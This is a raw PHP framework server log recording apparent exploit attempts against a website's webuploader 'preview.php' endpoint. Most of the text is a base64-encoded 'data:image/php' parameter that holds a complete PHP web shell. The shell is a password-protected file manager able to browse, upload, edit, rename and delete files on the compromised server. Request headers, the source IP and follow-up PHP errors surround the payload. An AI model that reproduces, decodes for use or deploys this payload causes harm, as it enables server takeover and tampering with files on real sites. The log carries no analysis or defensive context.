C8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:59+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/Plugin/h-ui/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002741s] [吞吐率:364.82req/s] [内存消耗:196.84kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Plugin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWx